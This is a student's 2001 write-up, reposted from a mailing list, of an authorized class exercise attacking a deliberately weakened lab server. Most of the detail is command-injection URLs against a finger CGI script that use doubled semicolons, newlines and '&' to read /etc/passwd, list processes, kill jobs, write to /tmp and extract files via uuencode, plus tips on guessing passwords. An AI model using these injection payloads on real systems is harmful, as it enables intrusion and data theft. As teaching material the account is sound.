An Attempt At Breaking In To A Computer System

by Mark K. Kim<mkkim@ucdavis.edu>

My friend Mark took a class on computer security with Dr. Bishop at UC Davis. One of his projects was to break into a system. Mark was cool enough to write up his experience. I think a lot of us were really impressed with some of the things Mark came up with. I think it would be of interest to anybody reading these pages. So here it is:


From: Mark Kim <mkkim@ucdavis.edu>
Date: Mon, 5 Feb 2001 15:21:12 -0800 (PST)
To: LUGOD <vox@lists.lugod.org>
Subject: [vox] ECS153 vulnerability analysis summary

When I took the security class last quarter, our class performed a
"vulnerability analysis" of a computer system -- basically, we tried to
see what kind of problems we could find on the system, and break in if
possible.

I think some people wanted to get a summary of this vulnerability
analysis before Dr. Bishop's talk tomorrow.  So I thought I should say
something about it today.

I think there is this grand idea surrounding the vulnerability
analysis.  But the fact is, our attempts were very simple; I'm almost
ashamed because we couldn't find some clever way to break-in (but then,
we're mostly amateurs so it's not reasonable to expect more than that, I
think).

The system's setup was like this:

   internet <--> firewall <--> target (LAN)
                 (IP 1.2.3.4)

What we knew at the time the assignment was given:

   1. The IP address of the firewall (let's say it's 1.2.3.4)
   2. That there *is* a firewall.
   3. Our target is *behind* the firewall.
   4. Our target is running a web server and a secure shell daemon.
   5. The web server and the shell daemon services are available
      through the firewall.

The rules:

   1. Find any and all vulnerabilities, according to the given steps.
      (I will not list the steps here -- it's pretty standard stuff.)
   2. We may not use DoS or DDoS attacks, since that's going to cause
      problems in the UC Davis network.

We were told to use `nmap`, a port scanning program.  This program comes
with most Linux distributions so you can look up its usage in `man`.  But
basically you can do stuff like TCP scan, UDP scan, SYN scan, XMAS
scan, etc.  TCP and UDP scan can be done as a regular user, but other
scans need to be done as root -- because it requires access to raw
packets, and you shouldn't need access to raw packets unless you're doing
something funky like trying to do a port scan, so raw packets are
restricted to root :)

To allow students without access to root be able to do non-TCP/UDP scans,
Dr. Bishop made an account on a system that can run nmap with whatever
reasonable options you specify.  This was done by setting up a script in
~/.bashrc for a no-password account.  The script was design to accept
reasonable options (set what scans to perform, which ports to scan, etc.),
and filter out unreasonable options (trying to scan any system that isn't
part of our assignment.)  We were also challenged to break the script as
an extra credit, and we were given the script sources.  No one was able
to break the script.

So the first step was simple -- run some `nmap`.  We found that there
are no ports running on the firewall besides the http and sshd ports (80
and 22, respectively.)  Next:

   1. Figure out which version of httpd is running.
      (Turned out to be thttpd - many ways to find this out...)

   2. Figure out which version of sshd is running.
      (Turned out to be sshd 2.something -- telnet into port 22 to figure 
      this out)

Next, we tried to find any bugs with thttpd and sshd 2.X.  We found
nothing applicable.

Later that day, we find out that a group already broke into the web server
and made some remarks in index.html.  Bastards (j/k :)  FYI, both of them
work at the security lab (they may be on our mailing list, later 
I realized).  Another group breaks in about a week later or so.  Then
another a couple days later.  It turned out they broke in by
guessing the root password.  The password: "bishoproot".

In my own defense, I'd thought about this and tried passwords like
"bishop", "root", "153", "ecs153", "cs153", room number of the 
security lab, names of junk foods, "holly" (his wife's name), "heidi",
"steven", "david", "caroline" (his children's names), and these passwords 
in combinations.  It just turned out I didn't try out the right
combination.

A few days later, they put out some CGI scripts.  That's when everything
broke loose.  The server had several CGIs (we knew this because
http://1.2.3.4/cgi-bin/ was visible), but all of them were bogus except
for the finger script.  At the bottom of the finger script output was the
link to the script's homepage, I downloaded the source off the script's
homepage and started looking for holes, or at least that was my intention,
but I soon realized the script on the server had much smaller filesize
(filesize reported by http://1.2.3.4/cgi-bin/ directory listing) than the
original source.

Now that makes no sense.  Our TA (Tom) did modify the source to strengthen
the script, but it shouldn't shrink the filesize by that much.  He must
have ripped out its guts.

Anyway, the most obvious thing to look for in a source like this is to
figure out whether it runs finger by executing the binary or by making a
socket connection.  If it runs the binary, perhaps it's possible to trick
the script into executing whatever program you want it to (ie - by
inserting a semicolon.)

The script source, unfortunately, indicated that it makes socket
calls.  Darn.

Later in the class, Tom hinted that he might have added an intentional
hole.

So back at my home, I'm thinking perhaps Tom modified the source to run
the binary.  So I tried inserting a semicolon, like this:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;ls
                                              ^^
No luck.

So I tried putting bunch of random information, like:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;!@#$!^@#$@#^L:K;1234oasidlk

And I realized that putting *two* semicolons works! :)  So now I could do:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;ls

But what previleges do I have?:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;whoami

   nobody

Great.  Oh well, it's better than nothing.  I wonder if I can run xterm:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;xterm%20-display%20myip:0

No luck.  I later found out that the firewall filters out all connections
except for ports 80 and 22, even if the call is executed from inside the
firewall.

Let's see what else I can do.  Perhaps I can grab the password file and
run crackerjack on it:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/passwd

It's shadowed.  Darn it.  But at least I got a list of user
names.  (Later, I found out that one of the users had a password that was
same as the username... This hole was unintentionally left there by
the previous project. The username: "ecs253" :)

I wonder who has accounts... and I wonder whose accounts are browsable:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;ls%20-l%20/home

I found Dr. Bishop's account, Nicole Carlson's account, and an account of
an old friend that graduated about a year ago, all of whom have
worked at the security lab.  This must be an old system used by the
security lab!

By this time, we were told that the system (and the firewall) were
running Linux.  So I had a ball poking around:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;dmesg
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/meminfo
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/devices
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/ioports
   ...
      Not all that great info with these, but found what hardware
      is online.

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;uname%20-a
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/issue
      I found out what kernel and what distribution of Linux is
      on the system.  It was Redhat 5.2, kernel 2.0.36.
      It turned out RedHat 5.2 had a bug that gives root access,
      but only from the console :(

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;ps%20-aefxwww
      I found out what other people are trying.  I found some
      ssh/telnet connections, so I was fairly sure other people
      found ways to break into the system without using the CGI
      script... just didn't know how.  Instead of semicolons,
      people were using &, %0a, among others.

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;kill%201234
      I executed some commands that weren't quitting, so I killed
      them.  I also accidentally killed a few of my classmates'
      processes.  Oops.

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;/sbin/ifconfig
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;/sbin/route
      I thought perhaps I could find other computers on the network
      and fooling them into let me make a shell connection to
      the outside world, but that didn't happen.

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/fstab
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/floppy
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/cdrom
   http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/zip
      Are there any floppies, CDROMs, or zip disks inserted into the
      drives?  Maybe they have something useful on them...  Yes, all
      devices were user-mountable.  But nothing was inserted in them.

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/.../cgi-bin/finger.cgi
      I used this to grab the finger.pl source.  It turns out the
      following characters are filtered out *once*.  That's why my
      double semicolon worked:

         ;, >, <, |

      Notice & and %0a aren't filtered out at all, so students were able
      to use & and %0a to break in, also.

      Also, Tom modified the source so much that it is totally different
      from the original.  Like executing the binary instead of making
      a socket connection.

I also tried creating files in /tmp by redirection.  Since ">" is filtered
out once, I need to use two of them:

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;echo%20'Mark%20Kim%20got%20in%20as%20nobody%0aNow%20to%20find%20a%20way%20to%20root...'>>/tmp/hacked_by_kimkh
      It turns out there were a lot of files in /tmp, no doubt
      many attempts by others to upload some program and gain more access.
      The file I created above disappears the next day -- either someone
      deletes it or there is a cron job to clean out /tmp.  But for some
      reason, all the hidden files remained, so I could have recreated
      the above file and made it hidden, but then that's no fun...

By this time, I'm kind of bored.  I want to be able to download binaries
(I couldn't do this before because the output gets mixed with the finger
output.  Even the text output is hard to read sometimes.)  So I think of
using uuencode.  I tried downloading this oddball file called "/tmp/.a":

   http://1.2.3.4/cgi-bin/finger.pl?user=root;;uuencode%20/tmp/.a%20/dev/console

Notice I send the output to /dev/console.  I thought that was pretty slick
:)  The file ".a" turned out to be some weird binary that tries to cat
/etc/shadow.  There were bunch of other programs in /tmp people tried to
upload and execute.

Using this technique, I was able to grab big files by compressing them and
uuencoding them to /dev/console, including /var/log/messages and the
thttpd log file.  I could have upoaded something by redirecting uuencoded
binary to a file then executing uudecode, but I was too lazy to do that
line-by-line.

This was pretty much the extent of how much I got done.  So I was able to
do pretty much anything under the nobody account, including 
uploading/downloading programs, look at files, and poke around the
system.  I never got a root access, though, a fact that will haunt me for
the rest of my life :P

-Mark

---
Mark K. Kim
http://www.cbreak.org/mark/
PGP key available upon request.


I had some silly questions about how ASCII gets encoded by a webserver. Here was his response to my questions:


When you pass a parameter to a CGI program, you can emulate any character
by referring to the character's ASCII code in hex.  So %20 is ASCII 0x20,
which is a space.  Such translation is necessary because spaces cannot be
a part of a URL.  The translation is done before the arguments are passed
to the CGI program, so there is no need for translation by the CGI
program.

> also, what's %0a and &?

%0a is a "newline".  So if you pass "finger.pl?user=root%0als%20-la" to
the finger script, the script executes:

   finger rootls -la

or, more simply:

   finger root
   ls -la

As for "&", that's equivalent to:

   finger root&ls -la

(execute `finger root` in background, then execute `ls -la`).  It seems
like Tom didn't realize these possibilities because he didn't filter them
at all.